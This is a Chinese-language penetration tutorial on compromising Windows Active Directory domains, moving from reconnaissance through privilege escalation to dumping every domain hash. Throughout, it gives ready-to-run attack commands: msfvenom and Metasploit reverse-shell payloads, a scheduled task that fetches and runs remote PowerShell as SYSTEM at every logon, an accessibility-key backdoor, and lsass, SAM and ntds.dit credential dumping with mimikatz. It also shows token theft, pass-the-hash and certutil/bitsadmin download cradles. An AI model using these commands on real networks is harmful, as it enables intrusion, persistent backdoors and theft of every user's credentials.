域
初识域环境
什么是域
域是Windows网络中独立运行的单位,犟网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域(Domain)。
为什么产生域
为了便于管理公司、组织内的机器,方便在多台电脑上进行设置而产生。
什么是域控
装有活动目录的机器称之为域控,在Windows中,不使用主域控制器与备份域控制器,每个域控制器充当相同的角色,我们可以在任何一个域控制器上对用户的权限进行修改,你的修改将被复制到其他的域控制器中,方便当一个域控制器发生故障时,其他域控制器还能正常工作的情况下,域可以正常运行。
活动目录(Active Directory)
Active Directory存储了有关网络对象的信息,方便管理员和用户可以轻松查找使用这些信息。对象可以是用户、群组、电脑、网域控制器、邮件、配置文件、组织单元、树系等。
域用户
域环境下的用户,用户名以及密码通过域控制器进行验证,可以在同一域内的任何一台计算机登陆(这里是指ipc连接,而不是远程登陆桌面,远程桌面连接对权限是有相应的要求的),但是是否能够修改权限还要看具体的权限配置。
域管
登录到域控制器上面,对一切权限进行控制。
组
将相同权限的员工放到同一个组内,便于管理。
信任域
两个域可以通过信任(Trust)联系起来,比如A信任B,那么B中的用户可以访问A。
我们可以通过如下命令查看受信任域列表
/domain_trusts
域信息收集
NLTEST
我们可以使用nltest查询信任域,该工具在03之后内置在系统中,比如我们想要查询某域控的信任域列表,我们可以使用如下命令:
nltest /domain_trusts /all_trusts /v /server:域控IP
一般情况下,域控主机为主DNS服务器,我们可以通过这一特点查找域控ip,我们可以通过ipconfig /all查询:
接下来我们就可以查看域信任的列表:
我们还可以使用/dsgetdc
查看域详细信息:
nltest /dsgetdc:域名称 /server:域控IP
CSVDE
csvde是Windows Server 2008的内置命令行工具,位于%windir%/system32文件夹中,我们可以使用如下命令导出域内详细信息:
csvde -setspn 域名称 -f c:\windows\temp\保存的文件名
这里我们需要了解一下LDAP的存储规则:
DN:Distinguished Name,区分名,一个条目的区分名称叫做DN,在一个目录中,这个名称是唯一的。
CN:Common Name,用户或服务器名,最长80个字符,可以使用中文。
OU:Organization Unit,组织单元,最多四级,每级最长32个字符,可以使用中文。
O:Organization,组织名,可以是3-64个字符长度。
C:Country,国家名,可选,为2个字符长度
SETSPN
SPN官方名称即服务主体名称,本质上存储的是域内各种服务资源的对应关系,比如对应的服务类型,机器名,服务端口,我们可以借助它来快速定位当前目标域内所有存活的各类服务器,我们可以使用如下命令:
setspn -T 域名称 -Q */*
我们也可以使用管道符来快速查询想要的结果:
之后如果我们有域管账户,我们就可以进行远程桌面连接:
DNSDUMP
我们可以使用如下命令进行信息收集:
dnsdump.exe -u 域名称/域用户 -p 域密码 域控机器名
NET
命令 | 功能 |
---|---|
net user /domain | 获取域用户列表 |
net group "domain admins" /domain | 获取域管理员列表 |
net group "domain controllers" /domain | 查看域控制器(如果有多台) |
net group "domain computers" /domain | 查看域机器 |
net group /domain | 查询域里面的组 |
net view | 查看同一域内机器列表 |
net view \ip | 查看某IP共享 |
net view \GHQ | 查看GHQ计算机的共享资源列表 |
net view /domain | 查看内网存在多少个域 |
net view /domain:XYZ | 查看XYZ域中机器列表 |
NBTSCAN
我们可以使用如下命令扫描内网中活的机器:
nbtscan.exe 192.168.52.0/24
我们可以看到域名称、域控(DC)等信息。
域渗透思路
横向渗透 - 权限维持 - 获取密码 - 域信息收集 - 横向渗透 - 获取密码 - 获取域管权限 - 拿下域控服务器
权限提升
Windows常见提权方式
(一)、本地提权
(A)、溢出提权:
1.远程溢出
远程溢出提权是指攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用响应的溢出程序,即可获取到远程服务器的root权限。
攻击者在攻击服务器时,使用远程溢出这种溢出攻击这种攻击手段是比较少的,服务器通常都打了漏洞补丁,这样旧的溢出漏洞一般不会再起作用,而新的溢出漏洞少之又少,可以说远程溢出漏洞已经"日落西山"了。
2.本地溢出
本地溢出提权首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出root权限。
EXP = Exploit的中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。
(B)、Getpass 提权
(C)、hash传递入侵
(D)、lpk提权
(二)、数据库提权
1.Mysql提权
分类:功能型,技巧型,漏洞型
功能型:udf提权
技巧型:启动项提权
漏洞型:mof提权
2.SQL Server提权
3.Oracle提权:
虚拟主机提权:
星外提权
西部数码提权
华众虚拟主机提权
(三)、第三方软件提权
(1)、FTP提权
serv-u提权
G6-FTP提权
FileZilla提权
FlashFXP提权
PcAnywhere提权
Xlight FTP Server提权
(2)、远程软件提权
vnc
radmin
(3)、其他
Magic Winmail提权
navicat提权
zend
搜狗输入法提权
PR提权详解
巴西烤肉提权
利用360提权
(四)、提权辅助
3389
端口转发
DLL劫持
Linux常见提权方式
内核漏洞提权
提起内核漏洞提权就不得不提到脏牛漏洞(Dirty Cow),是存在时间最长且影响范围最广的漏洞之一。低权限用户可以利用该漏洞实现本地提权,同时可以通过该漏洞实现Docker容器逃逸,获得root权限的shell。
Linux提权辅助工具
github项目地址:https://github.com/mzet-/linux-exploit-suggester.git
利用SUID提权
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。
在Linux中查找可以用来提权的SUID文件
find / -perm -u=s -type f 2>/dev/null
SUDO提权
普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件错误导致提权。
设置sudo免密码
$vi /etc/sudoers在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL
计划任务
如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当。
NFS提权
当服务器中存在NFS共享,开启no_root_squash选项时,如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
MySQL提权
MySQL提权方式有UDF提权,MOF提权,写入启动项提权等方式,但比较有意思的是CVE-2016-6663、CVE-2016-6664组合利用的提取场景,可以将一个www-data权限提升到root权限
横向渗透
我们可以首先通过以下方面获取一个域账号及密码。
弱口令
- RDP、SMB弱口令
- SSH弱口令
- MSSQL弱口令
- Tomcat弱口令
未授权
- Redis未授权
- ...
RCE
- Jboss
- Weblogic
- St2
- 致远OA
- ...
反序列化
- Shiro
- RMI
- Jdwp
权限维持
DLL加载shellcode免杀上线
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=9999 Lhost=192.168.1.1 -e x86/shikata_ga_nai -i 11 -f c -o shellcode.c
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.1.1
msf > set lport 8888
msf > set EnableStageEncoding true
msf > set StageEndcoder x86/fnstenv_mov
msf > exploit
之后我们将shellcode编译成dll,并且调用rundll32运行。
任务计划
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit
在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以SYSTEM的形式下载并执行基于PowerShell的有效负载。
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
当用户再次使用系统登录时,将执行有效负载,并打开meterpreter会话。
映像劫持
传统“映像劫持”,当用户双击对应的程序后,操作系统就会给外壳程序(例如”explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的”dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到”劫持”的虚假程序。简单点说,当你打开的是程序A,而运行的却是程序B。
大家一定都知道映像劫持后门,在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe,
IFEO注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
执行命令添加:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
如上文所述,修改IFEO中的“debugger”键值,用来替换原有程序的执行,键入五下Shift执行sethc.exe程序时会执行cmd.exe程序。
注册表加载启动项
获取密码
Mimikatz
privilege::debug
sekurlsa::logonpasswords
经典工具,但是由于目标可能存在杀软,会触发报警,因此我们不推荐使用。
注册表读取密码
由于用户密码会保存在注册表中,因此我们可以使用命令将注册表信息导出,再在我们本地使用Mimikatz进行密码读取:
reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
reg save HKLM\SAM C:\windows\temp\Sam.hiv
# mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
我们得到hash后可以通过解密或者哈希传递的方式进行利用。
读取内存中的密码
Windows 2008之前存在进程中的密码都是明文存储的,我们可以将程序导出,拖到本地在进行利用。
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
# mimikatz运行解密命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
LaZagne
可以读取机器内的浏览器、SSH等保存的密码。
INCOGNITO
我们可以通过tasklist /v查看进程用户,然后窃取相应用户的进程的凭证。
incognito.exe list_tokens -u:域名称 \域管账号 密码
incognito.exe execute -c "HACK\Administrator" cmd.exe
第三方软件
Xshell
Xftp
Google
...
命令行渗透
由于我们登陆远程桌面可能会增加暴露风险或者目标禁用远程登陆,所以我们可以使用命令行渗透。
IPC
我们可以建立IPC连接来访问目标机器的文件,首先建立连接:
net use \\域管IP /u:-u:域名称 \域管账号 密码
也可以在目标机器执行命令,比如我们可以通过copy命令加上UNC路径来进行上传、下载操作,比如我们将1.bat拷贝到192.168.1.2:的C盘目录下。
copy 1.bat \192.168.1.2\C$`
这里我们要知道copy、dir、xcopy、move、type都可以使用UNC路径。
执行命令
PSEXEC
psexec也可以执行命令,首先我们要建立IPC连接,否则无法使用:
net use \\域管IP /u:-u:域名称 \域管账号 密码
# 第一次运行psexec会弹窗,我们可以使用 -accepteula来阻止弹窗,使用-s以“nt authority\system”权限运行进程
psexec.exe \\192.168.52.2 -s cmd.exe -accepteula
我们也可以使用-hashes来进行HASH传递:
psexec_hash.exe -hashes:哈希值 域名称/域用户@IP地址
计划任务
但是会在目标服务器启动一个服务,有许多杀软会禁用该服务,增加了暴露的风险,因此我们可以采取schtasks计划任务来执行命令:
# 以system权限运行 过UAC
schtasks /create /tn 任务名 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域IP /RU system
schtasks /run /tn 任务名 /s 域IP /U 域\域用户 /P 域用户密码
schtasks /F /delete /tn 任务名 /s 域IP /U 域\域用户 /P 域用户密码
下载文件
POWERSHELL(WIN2003、WINXP不支持)
powershell -exec bypass -c (new-object System.Net.webClient).DownloadFile('http://192.168.1.101/test.txt','C:\test.txt')
Certutil
certutil.exe -urlcache -split -f http://192.168.1.1/test.txt file.txt
Bitadmin
bitsadmin /rawreturn /transfer getfile http://192.168.1.1/test.txt E:\test.txt
bitsadmin /rawreturn /transfer getpayload http://192.168.1.1/test.txt E:\test.txt
Msiexec
msiexec /q /i http://192.168.1.1/test.txt
IEExec
C:\windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\windows\Microsoft.NET\Framework\v2.0.50727> IEExec.exe http://192.168.1.1/test.exe
获取内网代理
内网中有些资源可能需要挂指定代理才能进行访问,一般是IE代理或者PAC代理,这两个代理我们可以通过注册表来读取。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
Windows Api利用
以下所有利用工具的前提都是已经建立IPC连接
工具名称 | 功能 |
---|---|
NetGroupGetUsers.exe | 查询域里的各个组里的成员,IP必须是域控IP,域用户随意 |
NetLocalGroupGetMembers.exe | 查询目标服务器本地管理组的成员 |
NetUserEnum.exe | 查询目标服务器所有用户,包括隐藏用户 |
命令用法如下:
NetGroupGetUsers.exe "domain users" \\192.168.52.2
NetLocalGroupGetMembers.exe \\192.168.52.2
NetUserEnum.exe \\192.168.52.2
导域HASH
拿下域控之后,我们可以通过导出域hash将所有域用户的密码取出。
Windows的密码是经过hash后存储的,本地存放在hklm\sam以及hklm\system注册表中,域里面是存放在域控制器的c:\windows\ntds\ntds.dit中。
ntds.dit其实就是个esent数据库,微软本身就有一系列文档化的api能够操作这个数据库:官方文档,首先我们要创建一个快照:
ntdsutil snapshot "activate instance ntds" creat quit quit
接下来我们挂载快照:
ntdsutil snapshot "mount {快照id}" quit quit
接下来我们复制ntds.dit到本地:
copy 装载位置\windows\NTDS\ntds.dit C:\ntds.dit
接下来我们解除挂载:
ntdsutil snapshot "unmount {快照id}" quit quit
最后删除快照:
ntdsutil snapshot "delete {快照id}" quit quit
接下来我们就可以开始解密了,首先通过注册表的方式获取KEY,再用NTDSDumpEx获取所有域用户hash:
reg save HKLM\SYSTEM c:\windows\temp\sys.hiv
NTDSDdumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h